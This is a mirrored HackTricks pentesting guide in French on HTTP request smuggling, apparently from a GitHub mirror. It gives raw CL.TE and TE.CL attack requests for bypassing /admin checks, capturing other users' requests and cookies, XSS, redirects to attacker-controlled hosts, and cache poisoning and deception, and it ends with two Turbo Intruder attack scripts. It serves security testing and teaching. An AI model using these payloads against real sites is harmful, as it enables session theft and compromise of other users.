Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-30 08:30:57 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/http-request-smuggling/README.md

32 KiB
Raw Blame History

HTTP Request Smuggling / Attaque de désynchronisation HTTP

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Qu'est-ce que c'est

Cette vulnérabilité se produit lorsqu'une désynchronisation entre les proxys frontaux et le serveur back-end permet à un attaquant d'envoyer une requête HTTP qui sera interprétée comme une seule requête par les proxys frontaux (équilibrage de charge/reverse-proxy) et comme 2 requêtes par le serveur back-end.
Cela permet à un utilisateur de modifier la prochaine requête qui arrive au serveur back-end après la sienne.

Théorie

Spécification RFC (2161)

Si un message est reçu avec à la fois un champ d'en-tête Transfer-Encoding et un champ d'en-tête Content-Length, ce dernier DOIT être ignoré.

Content-Length

L'en-tête d'entité Content-Length indique la taille du corps de l'entité, en octets, envoyé au destinataire.

Transfer-Encoding: chunked

L'en-tête Transfer-Encoding spécifie la forme de codage utilisée pour transférer en toute sécurité le corps de la charge utile à l'utilisateur.
Chunked signifie que de grandes données sont envoyées sous forme de séries de fragments.

Réalité

Le proxy frontal (un équilibrage de charge / reverse-proxy) traite l'en-tête content-length ou l'en-tête transfer-encoding et le serveur back-end traite l'autre en provoquant une désynchronisation entre les 2 systèmes.
Cela peut être très critique car un attaquant pourra envoyer une requête au proxy inverse qui sera interprétée par le serveur back-end comme 2 requêtes différentes. Le danger de cette technique réside dans le fait que le serveur back-end interprétera la 2ème requête injectée comme si elle venait du client suivant et la requête réelle de ce client fera partie de la requête injectée.

Particularités

Rappelez-vous qu'en HTTP, un caractère de nouvelle ligne est composé de 2 octets :

  • Content-Length : Cet en-tête utilise un nombre décimal pour indiquer le nombre d'octets du corps de la requête. Le corps est censé se terminer par le dernier caractère, une nouvelle ligne n'est pas nécessaire à la fin de la requête.
  • Transfer-Encoding : Cet en-tête utilise dans le corps un nombre hexadécimal pour indiquer le nombre d'octets du prochain fragment. Le fragment doit se terminer par une nouvelle ligne, mais cette nouvelle ligne n'est pas comptée par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un fragment de taille 0 suivi de 2 nouvelles lignes : 0
  • Connection : D'après mon expérience, il est recommandé d'utiliser Connection: keep-alive sur la première requête de la requête Smuggling.

Exemples de base

Ainsi, les attaques de requête smuggling consistent à placer à la fois l'en-tête Content-Length et l'en-tête Transfer-Encoding dans une seule requête HTTP et à les manipuler de manière à ce que les serveurs frontal et back-end traitent la requête différemment. La manière exacte dont cela est fait dépend du comportement des deux serveurs :

  • CL.TE : le serveur frontal utilise l'en-tête Content-Length et le serveur back-end utilise l'en-tête Transfer-Encoding.
  • TE.CL : le serveur frontal utilise l'en-tête Transfer-Encoding et le serveur back-end utilise l'en-tête Content-Length.
  • TE.TE : les serveurs frontal et back-end prennent tous deux en charge l'en-tête Transfer-Encoding, mais l'un des serveurs peut être amené à ne pas le traiter en obfusquant l'en-tête d'une manière ou d'une autre.

Vulnérabilités CL.TE

Ici, le serveur frontal utilise l'en-tête Content-Length et le serveur back-end utilise l'en-tête Transfer-Encoding. Nous pouvons effectuer une attaque simple de requête smuggling HTTP de la manière suivante :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /404 HTTP/1.1
Foo: x

Notez comment Content-Length indique que la longueur de la requête est de 30 octets (rappelez-vous que HTTP utilise une nouvelle ligne, donc 2 octets pour chaque nouvelle ligne), donc le proxy inverse enverra la requête complète au serveur back-end, et le serveur back-end traitera l'en-tête Transfer-Encoding, laissant GET /404 HTTP/1.1 comme le début de la prochaine requête (au fait, la prochaine requête sera ajoutée à Foo:x<La prochaine requête commence ici>).

Vulnérabilités TE.CL

Ici, le serveur frontal utilise l'en-tête Transfer-Encoding et le serveur arrière utilise l'en-tête Content-Length. Nous pouvons effectuer une attaque simple de détournement de requête HTTP comme suit :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
\ `7b`\ `GET /404 HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 30`\
x=
0
\

Dans ce cas, le reverse-proxy va envoyer la requête complète vers l'arrière-plan comme l'indique l'en-tête Transfer-Encoding. Cependant, l'arrière-plan va traiter uniquement les 7b (4 octets) comme indiqué dans Content-Length. Par conséquent, la requête suivante sera celle qui commence par GET /404 HTTP/1.1.

Notez que même si l'attaque doit se terminer par un 0, la requête suivante sera ajoutée en tant que valeurs supplémentaires du paramètre x.
Notez également que la longueur du contenu de la requête intégrée indiquera la longueur de la prochaine requête qui sera ajoutée au paramètre x. Si elle est trop petite, seuls quelques octets seront ajoutés, et si elle est trop grande (plus grande que la longueur de la prochaine requête), une erreur sera générée pour la requête suivante.

Vulnérabilités TE.TE

Ici, les serveurs frontal et arrière prennent en charge tous deux l'en-tête Transfer-Encoding, mais l'un des serveurs peut être amené à ne pas le traiter en obfusquant l'en-tête d'une certaine manière.
Il existe potentiellement d'innombrables façons d'obfusquer l'en-tête Transfer-Encoding. Par exemple :

Transfer-Encoding: xchunked
\ `Transfer-Encoding : chunked`\
Transfer-Encoding: chunked
Transfer-Encoding: x
\ `Transfer-Encoding: chunked`\ `Transfer-encoding: x`\
Transfer-Encoding:[tab]chunked
\ `[space]Transfer-Encoding: chunked`\
X: X[\n]Transfer-Encoding: chunked
``
Transfer-Encoding
: chunked

Selon le serveur (reverse-proxy ou arrière-plan) qui arrête de traiter l'en-tête TE, vous trouverez une vulnérabilité CL.TE ou une vulnérabilité TE.CL.

Découverte de la détournement de requête HTTP

Découverte des vulnérabilités CL.TE en utilisant des techniques de temporisation

Si une application est vulnérable à la variante CL.TE du détournement de requête, l'envoi d'une requête comme celle-ci provoquera souvent un délai :

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

Étant donné que le serveur frontal utilise l'en-tête Content-Length, il ne transmettra qu'une partie de cette requête, en omettant le 0. Le serveur arrière utilise l'en-tête Transfer-Encoding, traite le premier fragment, puis attend l'arrivée du fragment suivant. Cela entraînera un retard observable.

Parfois, au lieu d'obtenir un délai d'expiration, vous recevez une erreur 400 mauvaise requête de l'hôte final, comme dans le scénario suivant, où une charge utile CL.TE est envoyée :

Et la réponse est une redirection contenant une erreur dans le corps, avec même la version de haproxy utilisée :

Recherche de vulnérabilités TE.CL en utilisant des techniques de synchronisation

Si une application est vulnérable à la variante TE.CL de l'attaque de détournement de requête, l'envoi d'une requête comme celle-ci provoquera souvent un retard :

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

Depuis que le serveur frontal utilise l'en-tête Transfer-Encoding, il ne transmettra qu'une partie de cette requête, en omettant le X. Le serveur arrière utilise l'en-tête Content-Length, attend plus de contenu dans le corps du message et attend l'arrivée du contenu restant. Cela entraînera un retard observable.

Sonder les vulnérabilités de l'attaque de requête HTTP Smuggling

Une fois que vous avez constaté que les techniques de synchronisation fonctionnent, vous devez sonder si vous pouvez modifier les requêtes des autres clients.
La manière la plus simple de le faire est d'essayer de corrompre vos propres requêtes, par exemple en faisant une demande pour / qui renvoie un code 404.
Dans les Exemples de base, nous avons déjà vu des exemples de CL.TE et TE.CL qui montrent comment corrompre une requête de client pour demander /404, provoquant une réponse 404 lorsque le client demande une autre ressource.

Notes

Certaines considérations importantes doivent être prises en compte lors de la tentative de confirmation des vulnérabilités de l'attaque de requête en interférant avec d'autres requêtes :

  • La requête "d'attaque" et la requête "normale" doivent être envoyées au serveur en utilisant des connexions réseau différentes. L'envoi des deux requêtes via la même connexion ne prouvera pas l'existence de la vulnérabilité.
  • La requête "d'attaque" et la requête "normale" doivent utiliser la même URL et les mêmes noms de paramètres, dans la mesure du possible. Cela est dû au fait que de nombreuses applications modernes routent les requêtes frontales vers différents serveurs back-end en fonction de l'URL et des paramètres. Utiliser la même URL et les mêmes paramètres augmente les chances que les requêtes soient traitées par le même serveur back-end, ce qui est essentiel pour que l'attaque fonctionne.
  • Lors du test de la requête "normale" pour détecter toute interférence de la requête "d'attaque", vous êtes en concurrence avec toutes les autres requêtes que l'application reçoit en même temps, y compris celles des autres utilisateurs. Vous devez envoyer la requête "normale" immédiatement après la requête "d'attaque". Si l'application est occupée, vous devrez peut-être effectuer plusieurs tentatives pour confirmer la vulnérabilité.
  • Dans certaines applications, le serveur frontal fonctionne comme un répartiteur de charge et transfère les requêtes vers différents systèmes back-end selon un algorithme de répartition de charge. Si vos requêtes "d'attaque" et "normale" sont transférées vers des systèmes back-end différents, l'attaque échouera. C'est une raison supplémentaire pour laquelle vous devrez peut-être essayer plusieurs fois avant de confirmer une vulnérabilité.
  • Si votre attaque réussit à interférer avec une requête ultérieure, mais que ce n'était pas la requête "normale" que vous avez envoyée pour détecter l'interférence, cela signifie qu'un autre utilisateur de l'application a été affecté par votre attaque. Si vous continuez le test, cela pourrait avoir un effet perturbateur sur les autres utilisateurs, et vous devez faire preuve de prudence.

Forcer via les en-têtes hop-by-hop

En abusant des en-têtes hop-by-hop, vous pouvez indiquer au proxy de supprimer l'en-tête Content-Length ou Transfer-Encoding afin de permettre une attaque de requête HTTP Smuggling.

Connection: Content-Length

Pour plus d'informations sur les en-têtes hop-by-hop, visitez :

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Abus de la manipulation des requêtes HTTP

Contourner les contrôles de sécurité en frontal

Parfois, les proxys en frontal effectuent des vérifications de sécurité. Vous pouvez les contourner en abusant de la manipulation des requêtes HTTP, car vous serez en mesure de contourner les protections. Par exemple, dans cet exemple, vous ne pouvez pas accéder à /admin depuis l'extérieur et le proxy en frontal vérifie cela, mais ce proxy ne vérifie pas la requête intégrée :

CL.TE

POST / HTTP/1.1
Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net
Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
\ `0`\
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
``
x=

TE.CL

POST / HTTP/1.1
Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net
Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
\

Révéler la réécriture des requêtes en frontal

Dans de nombreuses applications, le serveur frontal effectue une réécriture des requêtes avant de les transmettre au serveur en arrière-plan, généralement en ajoutant des en-têtes de requête supplémentaires.
Une chose courante à faire est d'ajouter à la requête l'en-tête X-Forwarded-For: <IP du client> ou un en-tête similaire pour que le serveur en arrière-plan connaisse l'IP du client.
Parfois, si vous pouvez trouver les nouvelles valeurs ajoutées à la requête, vous pourriez être en mesure de contourner les protections et d'accéder à des informations/endpoints cachés.

Pour découvrir comment le proxy réécrit la requête, vous devez trouver un paramètre POST dont la valeur sera reflétée dans la réponse. Ensuite, utilisez ce paramètre en dernier et utilisez une exploitation comme celle-ci :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\
search=

Dans ce cas, la requête suivante sera ajoutée après search=, qui est également le paramètre dont la valeur sera reflétée dans la réponse, il va donc refléter les en-têtes de la prochaine requête.

Notez que seule la longueur indiquée dans l'en-tête Content-Length de la requête intégrée sera reflétée. Si vous utilisez un nombre faible, seuls quelques octets seront reflétés, si vous utilisez un nombre plus grand que la longueur de tous les en-têtes, alors la requête intégrée générera une erreur. Vous devriez donc commencer par un nombre faible et l'augmenter jusqu'à ce que vous voyiez tout ce que vous voulez voir.
Notez également que cette technique est également exploitable avec une vulnérabilité TE.CL, mais la requête doit se terminer par search=\r\n0. Cependant, indépendamment des caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre de recherche.

Enfin, notez que dans cette attaque, nous nous attaquons toujours à nous-mêmes pour apprendre comment le proxy frontal réécrit la requête.

Capturer les requêtes d'autres utilisateurs

Si vous pouvez trouver une requête POST qui va enregistrer le contenu d'un des paramètres, vous pouvez ajouter la requête suivante en tant que valeur de ce paramètre afin de stocker la requête du prochain client :

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
\ `0`\
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
``
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=

Dans ce cas, la valeur du paramètre comment va être enregistrée dans un commentaire d'un article sur la page qui est publiquement accessible, donc un commentaire apparaîtra avec le contenu de la prochaine requête.

Une limitation de cette technique est qu'elle ne capture généralement que les données jusqu'au délimiteur de paramètre applicable à la requête détournée. Pour les soumissions de formulaires encodés en URL, il s'agit du caractère &, ce qui signifie que le contenu stocké à partir de la requête de l'utilisateur victime se terminera au premier &, qui pourrait même apparaître dans la chaîne de requête.

Notez également que cette technique est également exploitable avec une vulnérabilité TE.CL, mais la requête doit se terminer par search=\r\n0. Cependant, indépendamment des caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre de recherche.

Utilisation de la contrebande de requêtes HTTP pour exploiter le XSS réfléchi

Si la page web est également vulnérable au XSS réfléchi, vous pouvez exploiter la contrebande de requêtes HTTP pour attaquer les clients du site web. L'exploitation du XSS réfléchi à partir de la contrebande de requêtes HTTP présente certains avantages :

  • Elle ne nécessite aucune interaction avec les utilisateurs victimes
  • Elle peut être utilisée pour exploiter le comportement XSS dans des parties de la requête qui ne peuvent pas être facilement contrôlées dans une attaque XSS réfléchie normale, comme les en-têtes de requête HTTP.

Si un site web est vulnérable au XSS réfléchi dans l'en-tête User-Agent, vous pouvez utiliser cette charge utile pour l'exploiter :

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=Ro7YknOtbl3bxURHAAxZz84qj3PSMnSY
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
\ `0`\
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
``
A=

Utilisation de la contrebande de requêtes HTTP pour transformer une redirection sur site en une redirection ouverte

De nombreuses applications effectuent des redirections sur site d'une URL vers une autre et placent le nom d'hôte de l'en-tête Host de la requête dans l'URL de redirection. Un exemple de cela est le comportement par défaut des serveurs web Apache et IIS, où une requête pour un dossier sans barre oblique finale reçoit une redirection vers le même dossier incluant la barre oblique finale :

GET /home HTTP/1.1
Host: normal-website.com
``
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Ce comportement est généralement considéré comme inoffensif, mais il peut être exploité dans une attaque de contrebande de requêtes pour rediriger d'autres utilisateurs vers un domaine externe. Par exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

La requête contrebandée déclenchera une redirection vers le site web de l'attaquant, ce qui affectera la requête de l'utilisateur suivant qui est traitée par le serveur back-end. Par exemple :

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
``
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Ici, la requête de l'utilisateur était destinée à un fichier JavaScript qui était importé par une page du site web. L'attaquant peut compromettre complètement l'utilisateur victime en renvoyant son propre JavaScript dans la réponse.

Utilisation de la contrebande de requêtes HTTP pour effectuer un empoisonnement du cache web

Si une partie de l'infrastructure frontale effectue une mise en cache du contenu (généralement pour des raisons de performance), il est possible de contaminer cette mise en cache en modifiant la réponse du serveur.

Nous avons déjà vu comment modifier la valeur de retour attendue du serveur en une erreur 404 (dans les Exemples de base), de manière similaire, vous pourriez faire en sorte que le serveur renvoie le contenu de /index.html lorsque la requête empoisonnée demande /static/include.js. Ainsi, le contenu de /static/include.js sera mis en cache avec le contenu de /index.html, rendant /static/include.js inaccessible aux clients (DoS ?).

Remarquez que cela est encore plus intéressant si vous trouvez une Redirection ouverte ou une redirection sur site vers une redirection ouverte (dernière section). En effet, vous pourriez être en mesure de modifier les valeurs du cache de /static/include.js avec celles d'un script contrôlé par vous (réalisation d'un XSS généralisé à tous les clients qui tentent de télécharger la nouvelle version de /static/include.js).

Dans cet exemple, il sera démontré comment vous pouvez exploiter un empoisonnement du cache + une redirection sur site vers une redirection ouverte pour modifier le contenu du cache de /static/include.js afin de servir du code JS contrôlé par l'attaquant :

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
\ `0`\
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
``
x=1

Remarquez comment la requête intégrée demande /post/next?postId=3. Cette requête sera redirigée vers /post?postId=4 et utilisera la valeur de l'en-tête Host pour indiquer le domaine. Par conséquent, vous pouvez modifier l'en-tête Host pour pointer vers le serveur de l'attaquant et la redirection utilisera ce domaine (redirection sur site vers une redirection ouverte).

Ensuite, après avoir empoisonné le socket, vous devez envoyer une requête GET vers **/static/include.js**cette requête sera empoisonnée par la requête redirection sur site vers une redirection ouverte et récupérera le contenu du script contrôlé par l'attaquant.

La prochaine fois que quelqu'un demandera /static/include.js, les contenus mis en cache du script de l'attaquant seront servis (XSS généralisé).

Utilisation de la contrebande de requêtes HTTP pour effectuer une tromperie de cache web

Quelle est la différence entre l'empoisonnement de cache web et la tromperie de cache web ?

  • Dans l'empoisonnement de cache web, l'attaquant fait en sorte que l'application stocke un contenu malveillant dans le cache, et ce contenu est servi depuis le cache aux autres utilisateurs de l'application.
  • Dans la tromperie de cache web, l'attaquant fait en sorte que l'application stocke un contenu sensible appartenant à un autre utilisateur dans le cache, puis l'attaquant récupère ce contenu depuis le cache.

Dans cette variante, l'attaquant fait passer une requête qui renvoie un contenu sensible spécifique à l'utilisateur. Par exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Length: 43
Transfer-Encoding: chunked
\ `0`\
GET /private/messages HTTP/1.1
Foo: X

Si le poison atteint un client qui accédait à un contenu statique tel que /someimage.png qui allait être mis en cache. Le contenu de /private/messages de la victime sera mis en cache dans /someimage.png et l'attaquant pourra les voler.
Notez que l'attaquant ne sait pas quel contenu statique la victime essayait d'accéder, il est donc probablement préférable de tester cela en effectuant l'attaque, d'attendre quelques secondes et de charger tous les contenus statiques et de rechercher les données privées.

Armer la contrebande de requêtes HTTP avec la désynchronisation des réponses HTTP

Vous avez trouvé une vulnérabilité de contrebande de requêtes HTTP et vous ne savez pas comment l'exploiter. Essayez cette autre méthode d'exploitation :

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Scripts Turbo Intruder

CL.TE

Depuis https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Depuis: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Plus d'informations

Image provenant d'ici.

Outils

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥